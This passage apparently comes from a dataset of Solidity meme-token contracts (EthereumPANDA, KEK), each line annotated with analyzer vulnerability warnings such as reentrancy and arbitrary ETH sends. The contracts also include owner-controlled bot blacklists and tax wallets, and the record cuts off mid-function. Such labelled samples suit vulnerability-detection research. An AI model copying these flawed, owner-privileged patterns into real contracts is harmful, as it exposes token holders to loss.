IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6979fca): EthereumPANDA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6979fca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 092eab2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 092eab2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 39b62e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 39b62e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 092eab2\n\t\t// reentrancy-benign | ID: 39b62e2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 092eab2\n\t\t// reentrancy-benign | ID: 39b62e2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a1a69a7): EthereumPANDA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a1a69a7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 39b62e2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 092eab2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e4cf58d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e4cf58d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b2fa423): EthereumPANDA._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for b2fa423: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c138df): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c138df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f7c90fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f7c90fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: b2fa423\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: e4cf58d\n\t\t\t\t// reentrancy-eth | ID: 4c138df\n\t\t\t\t// reentrancy-eth | ID: f7c90fa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e4cf58d\n\t\t\t\t\t// reentrancy-eth | ID: 4c138df\n\t\t\t\t\t// reentrancy-eth | ID: f7c90fa\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f7c90fa\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f7c90fa\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e4cf58d\n\t\t\t\t// reentrancy-eth | ID: 4c138df\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e4cf58d\n\t\t\t\t\t// reentrancy-eth | ID: 4c138df\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4c138df\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e4cf58d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4c138df\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4c138df\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e4cf58d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 092eab2\n\t\t// reentrancy-events | ID: e4cf58d\n\t\t// reentrancy-benign | ID: 39b62e2\n\t\t// reentrancy-eth | ID: 4c138df\n\t\t// reentrancy-eth | ID: f7c90fa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b26e117): EthereumPANDA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b26e117: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 092eab2\n\t\t// reentrancy-events | ID: e4cf58d\n\t\t// reentrancy-eth | ID: 4c138df\n\t\t// reentrancy-eth | ID: f7c90fa\n\t\t// arbitrary-send-eth | ID: b26e117\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b94348c): EthereumPANDA.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for b94348c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: b94348c\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2f1620c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2f1620c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 15e0231): EthereumPANDA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 15e0231: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9f4e8c5): EthereumPANDA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9f4e8c5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5ab2b55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5ab2b55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 2f1620c\n\t\t// unused-return | ID: 9f4e8c5\n\t\t// reentrancy-eth | ID: 5ab2b55\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2f1620c\n\t\t// unused-return | ID: 15e0231\n\t\t// reentrancy-eth | ID: 5ab2b55\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2f1620c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5ab2b55\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 2f1620c\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10071.sol",
"size_bytes": 23260,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract KEK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3bf1aad): KEK._taxWallet should be immutable \n\t// Recommendation for 3bf1aad: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Church Of Kek\";\n\n string private constant _symbol = unicode\"KEK\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5558285): KEK._initialBuyTax should be constant \n\t// Recommendation for 5558285: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: df0adc3): KEK._initialSellTax should be constant \n\t// Recommendation for df0adc3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1765afc): KEK._finalBuyTax should be constant \n\t// Recommendation for 1765afc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3393bf): KEK._finalSellTax should be constant \n\t// Recommendation for d3393bf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 501a58c): KEK._reduceBuyTaxAt should be constant \n\t// Recommendation for 501a58c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd66cbc): KEK._reduceSellTaxAt should be constant \n\t// Recommendation for cd66cbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 085cbb3): KEK._preventSwapBefore should be constant \n\t// Recommendation for 085cbb3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e5724e): KEK._taxSwapThreshold should be constant \n\t// Recommendation for 0e5724e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7da25d): KEK._maxTaxSwap should be constant \n\t// Recommendation for f7da25d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b41b14): KEK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0b41b14: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce0989f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce0989f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d7b78c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d7b78c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ce0989f\n\t\t// reentrancy-benign | ID: 5d7b78c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ce0989f\n\t\t// reentrancy-benign | ID: 5d7b78c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ca7599a): KEK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ca7599a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5d7b78c\n\t\t// reentrancy-benign | ID: 2503fb7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9c7e218\n\t\t// reentrancy-events | ID: ce0989f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ac7c86c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ac7c86c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 59a0c6c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 59a0c6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ac7c86c\n\t\t\t\t// reentrancy-eth | ID: 59a0c6c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ac7c86c\n\t\t\t\t\t// reentrancy-eth | ID: 59a0c6c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 59a0c6c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 59a0c6c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 59a0c6c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ac7c86c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 59a0c6c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 59a0c6c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ac7c86c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ac7c86c\n\t\t// reentrancy-events | ID: 9c7e218\n\t\t// reentrancy-events | ID: ce0989f\n\t\t// reentrancy-benign | ID: 5d7b78c\n\t\t// reentrancy-benign | ID: 2503fb7\n\t\t// reentrancy-eth | ID: b1be690\n\t\t// reentrancy-eth | ID: 35f75b3\n\t\t// reentrancy-eth | ID: 59a0c6c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c378214): KEK.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for c378214: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ac7c86c\n\t\t// reentrancy-events | ID: 9c7e218\n\t\t// reentrancy-events | ID: ce0989f\n\t\t// reentrancy-eth | ID: b1be690\n\t\t// reentrancy-eth | ID: 35f75b3\n\t\t// reentrancy-eth | ID: 59a0c6c\n\t\t// arbitrary-send-eth | ID: c378214\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c7e218): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c7e218: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2503fb7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2503fb7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4465fed): KEK.openKEK() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4465fed: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2ed49ce): KEK.openKEK() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2ed49ce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b1be690): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b1be690: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 35f75b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 35f75b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openKEK() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 9c7e218\n\t\t// reentrancy-benign | ID: 2503fb7\n\t\t// reentrancy-eth | ID: b1be690\n\t\t// reentrancy-eth | ID: 35f75b3\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 9c7e218\n\t\t// reentrancy-benign | ID: 2503fb7\n\t\t// reentrancy-eth | ID: b1be690\n\t\t// reentrancy-eth | ID: 35f75b3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 9c7e218\n\t\t// reentrancy-benign | ID: 2503fb7\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 2ed49ce\n\t\t// reentrancy-eth | ID: 35f75b3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 4465fed\n\t\t// reentrancy-eth | ID: 35f75b3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 35f75b3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 35f75b3\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == 